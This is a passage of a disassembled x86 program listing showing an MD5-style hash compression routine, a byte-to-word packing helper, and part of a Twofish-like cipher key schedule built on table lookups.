		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax-262B2FC7h]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax-1924661Bh]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	edx, [ecx+eax+1FA27CF8h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax-3B53A99Bh]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	edx, [ebp+var_C]
		xor	edx, ecx
		add	edx, [ebp+var_50]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx-0BD6DDBCh]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		shl	edx, 6
		mov	eax, [ebp+var_4]
		shr	eax, 1Ah
		or	edx, eax
		mov	[ebp+var_4], edx
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		not	edx
		mov	eax, [ebp+var_4]
		or	eax, edx
		mov	ecx, [ebp+var_8]
		xor	ecx, eax
		add	ecx, [ebp+var_34]
		mov	edx, [ebp+var_10]
		lea	eax, [edx+ecx+432AFF97h]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		shl	ecx, 0Ah
		mov	edx, [ebp+var_10]
		shr	edx, 16h
		or	ecx, edx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_8]
		not	ecx
		mov	edx, [ebp+var_10]
		or	edx, ecx
		mov	eax, [ebp+var_4]
		xor	eax, edx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	edx, [ecx+eax-546BDC59h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	edx, [ebp+var_10]
		xor	edx, ecx
		add	edx, [ebp+var_3C]
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+edx-36C5FC7h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		shl	edx, 15h
		mov	eax, [ebp+var_8]
		shr	eax, 0Bh
		or	edx, eax
		mov	[ebp+var_8], edx
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_C]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_10]
		not	edx
		mov	eax, [ebp+var_8]
		or	eax, edx
		mov	ecx, [ebp+var_C]
		xor	ecx, eax
		add	ecx, [ebp+var_20]
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx+655B59C3h]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		shl	ecx, 6
		mov	edx, [ebp+var_4]
		shr	edx, 1Ah
		or	ecx, edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_C]
		not	ecx
		mov	edx, [ebp+var_4]
		or	edx, ecx
		mov	eax, [ebp+var_8]
		xor	eax, edx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		lea	edx, [ecx+eax-70F3336Eh]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		xor	edx, ecx
		add	edx, [ebp+var_28]
		mov	eax, [ebp+var_C]
		lea	ecx, [eax+edx-100B83h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		shl	edx, 0Fh
		mov	eax, [ebp+var_C]
		shr	eax, 11h
		or	edx, eax
		mov	[ebp+var_C], edx
		mov	ecx, [ebp+var_C]
		add	ecx, [ebp+var_10]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		not	edx
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	ecx, [ebp+var_10]
		xor	ecx, eax
		add	ecx, [ebp+var_4C]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+ecx-7A7BA22Fh]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		shl	ecx, 15h
		mov	edx, [ebp+var_8]
		shr	edx, 0Bh
		or	ecx, edx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_10]
		not	ecx
		mov	edx, [ebp+var_8]
		or	edx, ecx
		mov	eax, [ebp+var_C]
		xor	eax, edx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+6FA87E4Fh]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	edx, [ebp+var_8]
		xor	edx, ecx
		add	edx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		lea	ecx, [eax+edx-1D31920h]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		shl	edx, 0Ah
		mov	eax, [ebp+var_10]
		shr	eax, 16h
		or	edx, eax
		mov	[ebp+var_10], edx
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		not	edx
		mov	eax, [ebp+var_10]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		xor	ecx, eax
		add	ecx, [ebp+var_38]
		mov	edx, [ebp+var_C]
		lea	eax, [edx+ecx-5CFEBCECh]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		shl	ecx, 0Fh
		mov	edx, [ebp+var_C]
		shr	edx, 11h
		or	ecx, edx
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		not	ecx
		mov	edx, [ebp+var_C]
		or	edx, ecx
		mov	eax, [ebp+var_10]
		xor	eax, edx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax+4E0811A1h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	edx, [ebp+var_C]
		xor	edx, ecx
		add	edx, [ebp+var_40]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx-8AC817Eh]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		shl	edx, 6
		mov	eax, [ebp+var_4]
		shr	eax, 1Ah
		or	edx, eax
		mov	[ebp+var_4], edx
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		not	edx
		mov	eax, [ebp+var_4]
		or	eax, edx
		mov	ecx, [ebp+var_8]
		xor	ecx, eax
		add	ecx, [ebp+var_24]
		mov	edx, [ebp+var_10]
		lea	eax, [edx+ecx-42C50DCBh]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		shl	ecx, 0Ah
		mov	edx, [ebp+var_10]
		shr	edx, 16h
		or	ecx, edx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_8]
		not	ecx
		mov	edx, [ebp+var_10]
		or	edx, ecx
		mov	eax, [ebp+var_4]
		xor	eax, edx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	edx, [ecx+eax+2AD7D2BBh]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	edx, [ebp+var_10]
		xor	edx, ecx
		add	edx, [ebp+var_2C]
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+edx-14792C6Fh]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		shl	edx, 15h
		mov	eax, [ebp+var_8]
		shr	eax, 0Bh
		or	edx, eax
		mov	[ebp+var_8], edx
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_C]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_54]
		mov	eax, [edx]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_54]
		mov	[ecx], eax
		mov	edx, [ebp+var_54]
		mov	eax, [edx+4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+var_54]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_54]
		mov	eax, [edx+8]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+var_54]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_54]
		mov	eax, [edx+0Ch]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+var_54]
		mov	[ecx+0Ch], eax
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [ebp+var_50]
		rep stosd
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_40B215	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C0BD	proc near		; CODE XREF: sub_40B215+38p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		jmp	short loc_40C0EB
; ---------------------------------------------------------------------------


loc_40C0D9:				; CODE XREF: sub_40C0BD+79j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		mov	[ebp+var_8], ecx


loc_40C0EB:				; CODE XREF: sub_40C0BD+1Aj
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+arg_0]
		jnb	short loc_40C138
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx+1]
		shl	eax, 8
		or	ecx, eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx+2]
		shl	eax, 10h
		or	ecx, eax
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx+3]
		shl	eax, 18h
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_C]
		mov	[eax+edx*4], ecx
		jmp	short loc_40C0D9
; ---------------------------------------------------------------------------


loc_40C138:				; CODE XREF: sub_40C0BD+34j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40C0BD	endp

; ---------------------------------------------------------------------------
		dw 0CCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C140	proc near		; CODE XREF: sub_40A350+48p
					; rdata:0040A414p ...

var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= byte ptr -22Ch
var_22B		= byte ptr -22Bh
var_12C		= byte ptr -12Ch
var_12B		= byte ptr -12Bh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 2B8h
		mov	[ebp+var_2AC], ecx
		mov	[ebp+var_18], 0
		mov	[ebp+var_1C], 0
		cmp	dword_418DD0, 0
		jz	short loc_40C16B
		call	sub_40D540


loc_40C16B:				; CODE XREF: sub_40C140+24j
		mov	eax, [ebp+var_2AC]
		mov	ecx, [eax+4Dh]
		lea	edx, [ecx+ecx+8]
		mov	[ebp+var_250], edx
		mov	eax, [ebp+var_2AC]
		mov	ecx, [eax+1]
		mov	[ebp+var_230], ecx
		mov	eax, [ebp+var_230]
		add	eax, 3Fh
		cdq
		and	edx, 3Fh
		add	eax, edx
		sar	eax, 6
		mov	[ebp+var_234], eax
		mov	[ebp+var_238], 0
		mov	edx, [ebp+var_234]
		sub	edx, 1
		mov	[ebp+var_23C], edx
		jmp	short loc_40C1DE
; ---------------------------------------------------------------------------


loc_40C1C0:				; CODE XREF: sub_40C140+131j
		mov	eax, [ebp+var_238]
		add	eax, 1
		mov	[ebp+var_238], eax
		mov	ecx, [ebp+var_23C]
		sub	ecx, 1
		mov	[ebp+var_23C], ecx


loc_40C1DE:				; CODE XREF: sub_40C140+7Ej
		mov	edx, [ebp+var_238]
		cmp	edx, [ebp+var_234]
		jge	loc_40C276
		mov	eax, [ebp+var_238]
		shl	eax, 1
		mov	ecx, [ebp+var_238]
		mov	edx, [ebp+var_2AC]
		mov	eax, [edx+eax*4+51h]
		mov	[ebp+ecx*4+var_2C], eax
		mov	ecx, [ebp+var_238]
		shl	ecx, 1
		mov	edx, [ebp+var_238]
		mov	eax, [ebp+var_2AC]
		mov	ecx, [eax+ecx*4+55h]
		mov	[ebp+edx*4+var_24C], ecx
		mov	edx, [ebp+var_238]
		mov	edx, [ebp+edx*4+var_24C]
		mov	eax, [ebp+var_238]
		mov	ecx, [ebp+eax*4+var_2C]
		call	sub_40D785
		mov	ecx, [ebp+var_23C]
		mov	edx, [ebp+var_2AC]
		mov	[edx+ecx*4+71h], eax
		mov	eax, [ebp+var_23C]
		mov	ecx, [ebp+var_23C]
		mov	edx, [ebp+var_2AC]
		mov	ecx, [edx+ecx*4+71h]
		mov	[ebp+eax*4+var_10], ecx
		jmp	loc_40C1C0
; ---------------------------------------------------------------------------


loc_40C276:				; CODE XREF: sub_40C140+AAj
		mov	[ebp+var_14], 0
		mov	edx, [ebp+var_14]
		mov	[ebp+var_238], edx
		jmp	short loc_40C2A3
; ---------------------------------------------------------------------------


loc_40C288:				; CODE XREF: sub_40C140+683j
		mov	eax, [ebp+var_238]
		add	eax, 1
		mov	[ebp+var_238], eax
		mov	ecx, [ebp+var_14]
		add	ecx, 2020202h
		mov	[ebp+var_14], ecx


loc_40C2A3:				; CODE XREF: sub_40C140+146j
		mov	eax, [ebp+var_250]
		cdq
		sub	eax, edx
		sar	eax, 1
		cmp	[ebp+var_238], eax
		jge	loc_40C7C8
		mov	edx, [ebp+var_14]
		mov	[ebp+var_254], edx
		mov	eax, [ebp+var_234]
		and	eax, 3
		mov	[ebp+var_2B0], eax
		cmp	[ebp+var_2B0], 0
		jz	short loc_40C2FA
		cmp	[ebp+var_2B0], 2
		jz	loc_40C41A
		cmp	[ebp+var_2B0], 3
		jz	loc_40C38A
		jmp	loc_40C4FC
; ---------------------------------------------------------------------------


loc_40C2FA:				; CODE XREF: sub_40C140+199j
		mov	ecx, [ebp+var_254]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_418CD0[ecx]
		mov	eax, [ebp+var_20]
		and	eax, 0FFh
		xor	edx, eax
		mov	byte ptr [ebp+var_254],	dl
		mov	ecx, [ebp+var_254+1]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_418BD0[ecx]
		mov	eax, [ebp+var_20+1]
		and	eax, 0FFh
		xor	edx, eax
		mov	byte ptr [ebp+var_254+1], dl
		mov	ecx, [ebp+var_254+2]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_418BD0[ecx]
		mov	eax, [ebp+var_20+2]
		and	eax, 0FFh
		xor	edx, eax
		mov	byte ptr [ebp+var_254+2], dl
		mov	ecx, [ebp+var_254+3]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_418CD0[ecx]
		mov	eax, [ebp+var_20+3]
		and	eax, 0FFh
		xor	edx, eax
		mov	byte ptr [ebp+var_254+3], dl


loc_40C38A:				; CODE XREF: sub_40C140+1AFj
		mov	ecx, [ebp+var_254]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_418CD0[ecx]
		mov	eax, [ebp+var_24]
		and	eax, 0FFh
		xor	edx, eax
		mov	byte ptr [ebp+var_254],	dl
		mov	ecx, [ebp+var_254+1]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_418CD0[ecx]
		mov	eax, [ebp+var_24+1]
		and	eax, 0FFh
		xor	edx, eax
		mov	byte ptr [ebp+var_254+1], dl
		mov	ecx, [ebp+var_254+2]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_418BD0[ecx]
		mov	eax, [ebp+var_24+2]
		and	eax, 0FFh
		xor	edx, eax
		mov	byte ptr [ebp+var_254+2], dl
		mov	ecx, [ebp+var_254+3]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_418BD0[ecx]
		mov	eax, [ebp+var_24+3]
		and	eax, 0FFh
		xor	edx, eax
		mov	byte ptr [ebp+var_254+3], dl


loc_40C41A:				; CODE XREF: sub_40C140+1A2j
		mov	ecx, [ebp+var_254]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_418BD0[ecx]
		mov	eax, [ebp+var_28]
		and	eax, 0FFh
		xor	edx, eax
		xor	ecx, ecx
		mov	cl, byte_418BD0[edx]
		mov	edx, [ebp+var_2C]
		and	edx, 0FFh
		xor	ecx, edx
		mov	eax, [ebp+var_254+1]
		and	eax, 0FFh
		xor	edx, edx
		mov	dl, byte_418CD0[eax]
		mov	eax, [ebp+var_28+1]
		and	eax, 0FFh
		xor	edx, eax
		xor	eax, eax
		mov	al, byte_418BD0[edx]
		mov	edx, [ebp+var_2C+1]
		and	edx, 0FFh
		xor	eax, edx
		mov	ecx, dword_418DD4[ecx*4]
		xor	ecx, dword_4191D4[eax*4]
		mov	edx, [ebp+var_254+2]
		and	edx, 0FFh
		xor	eax, eax
		mov	al, byte_418BD0[edx]
		mov	edx, [ebp+var_28+2]
		and	edx, 0FFh
		xor	eax, edx
		xor	edx, edx
		mov	dl, byte_418CD0[eax]
		mov	eax, [ebp+var_2C+2]
		and	eax, 0FFh
		xor	edx, eax
		xor	ecx, dword_4195D4[edx*4]
		mov	edx, [ebp+var_254+3]
		and	edx, 0FFh
		xor	eax, eax
		mov	al, byte_418CD0[edx]
		mov	edx, [ebp+var_28+3]
		and	edx, 0FFh
		xor	eax, edx
		xor	edx, edx
		mov	dl, byte_418CD0[eax]
		mov	eax, [ebp+var_2C+3]
		and	eax, 0FFh
		xor	edx, eax
		xor	ecx, dword_4199D4[edx*4]
		mov	[ebp+var_18], ecx


loc_40C4FC:				; CODE XREF: sub_40C140+1B5j
		mov	ecx, [ebp+var_14]
		add	ecx, 1010101h
		mov	[ebp+var_258], ecx
		mov	edx, [ebp+var_234]
		and	edx, 3
		mov	[ebp+var_2B4], edx
		cmp	[ebp+var_2B4], 0
		jz	short loc_40C542
		cmp	[ebp+var_2B4], 2
		jz	loc_40C67A
		cmp	[ebp+var_2B4], 3
		jz	loc_40C5DE
		jmp	loc_40C778
; ---------------------------------------------------------------------------


loc_40C542:				; CODE XREF: sub_40C140+3E1j
		mov	eax, [ebp+var_258]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		mov	edx, [ebp+var_240]
		and	edx, 0FFh
		xor	ecx, edx
		mov	byte ptr [ebp+var_258],	cl
		mov	eax, [ebp+var_258+1]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		mov	edx, [ebp+var_240+1]
		and	edx, 0FFh
		xor	ecx, edx
		mov	byte ptr [ebp+var_258+1], cl
		mov	eax, [ebp+var_258+2]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		mov	edx, [ebp+var_240+2]
		and	edx, 0FFh
		xor	ecx, edx
		mov	byte ptr [ebp+var_258+2], cl
		mov	eax, [ebp+var_258+3]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		mov	edx, [ebp+var_240+3]
		and	edx, 0FFh
		xor	ecx, edx
		mov	byte ptr [ebp+var_258+3], cl


loc_40C5DE:				; CODE XREF: sub_40C140+3F7j
		mov	eax, [ebp+var_258]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		mov	edx, [ebp+var_244]
		and	edx, 0FFh
		xor	ecx, edx
		mov	byte ptr [ebp+var_258],	cl
		mov	eax, [ebp+var_258+1]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		mov	edx, [ebp+var_244+1]
		and	edx, 0FFh
		xor	ecx, edx
		mov	byte ptr [ebp+var_258+1], cl
		mov	eax, [ebp+var_258+2]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		mov	edx, [ebp+var_244+2]
		and	edx, 0FFh
		xor	ecx, edx
		mov	byte ptr [ebp+var_258+2], cl
		mov	eax, [ebp+var_258+3]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		mov	edx, [ebp+var_244+3]
		and	edx, 0FFh
		xor	ecx, edx
		mov	byte ptr [ebp+var_258+3], cl


loc_40C67A:				; CODE XREF: sub_40C140+3EAj
		mov	eax, [ebp+var_258]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		mov	edx, [ebp+var_248]
		and	edx, 0FFh
		xor	ecx, edx
		xor	eax, eax
		mov	al, byte_418BD0[ecx]
		mov	ecx, [ebp+var_24C]
		and	ecx, 0FFh
		xor	eax, ecx
		mov	edx, [ebp+var_258+1]
		and	edx, 0FFh
		xor	ecx, ecx
		mov	cl, byte_418CD0[edx]
		mov	edx, [ebp+var_248+1]
		and	edx, 0FFh
		xor	ecx, edx
		xor	edx, edx
		mov	dl, byte_418BD0[ecx]
		mov	ecx, [ebp+var_24C+1]
		and	ecx, 0FFh
		xor	edx, ecx
		mov	eax, dword_418DD4[eax*4]
		xor	eax, dword_4191D4[edx*4]
		mov	ecx, [ebp+var_258+2]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_418BD0[ecx]
		mov	ecx, [ebp+var_248+2]
		and	ecx, 0FFh
		xor	edx, ecx
		xor	ecx, ecx
		mov	cl, byte_418CD0[edx]
		mov	edx, [ebp+var_24C+2]
		and	edx, 0FFh
		xor	ecx, edx
		xor	eax, dword_4195D4[ecx*4]
		mov	ecx, [ebp+var_258+3]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_418CD0[ecx]
		mov	ecx, [ebp+var_248+3]
		and	ecx, 0FFh
		xor	edx, ecx
		xor	ecx, ecx
		mov	cl, byte_418CD0[edx]
		mov	edx, [ebp+var_24C+3]
		and	edx, 0FFh
		xor	ecx, edx
		xor	eax, dword_4199D4[ecx*4]
		mov	[ebp+var_1C], eax


loc_40C778:				; CODE XREF: sub_40C140+3FDj
		mov	eax, [ebp+var_1C]
		rol	eax, 8
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_18]
		add	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	[eax+edx*4+81h], ecx
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_18]
		lea	eax, [edx+ecx*2]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_1C]
		rol	ecx, 9
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	[eax+edx*4+85h], ecx
		jmp	loc_40C288
; ---------------------------------------------------------------------------


loc_40C7C8:				; CODE XREF: sub_40C140+174j
		mov	ecx, [ebp+var_230]
		mov	[ebp+var_2B8], ecx
		cmp	[ebp+var_2B8], 80h
		jz	short loc_40C805
		cmp	[ebp+var_2B8], 0C0h
		jz	loc_40CB0A
		cmp	[ebp+var_2B8], 100h
		jz	loc_40CECB
		jmp	loc_40D491
; ---------------------------------------------------------------------------


loc_40C805:				; CODE XREF: sub_40C140+69Ej
		mov	dl, byte ptr [ebp+var_C]
		push	edx
		mov	edx, offset byte_418BD0
		lea	ecx, [ebp+var_12C]
		call	sub_40D88C
		mov	eax, [ebp+var_10]
		and	eax, 0FFh
		mov	[ebp+var_25C], eax
		mov	[ebp+var_238], 0
		jmp	short loc_40C842
; ---------------------------------------------------------------------------


loc_40C833:				; CODE XREF: sub_40C140+780j
		mov	ecx, [ebp+var_238]
		add	ecx, 2
		mov	[ebp+var_238], ecx


loc_40C842:				; CODE XREF: sub_40C140+6F1j
		cmp	[ebp+var_238], 100h
		jge	short loc_40C8C5
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_12C]
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		xor	ecx, [ebp+var_25C]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_418DD4[ecx*4]
		mov	[eax+edx*4+121h], ecx
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_12B]
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		xor	ecx, [ebp+var_25C]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_418DD4[ecx*4]
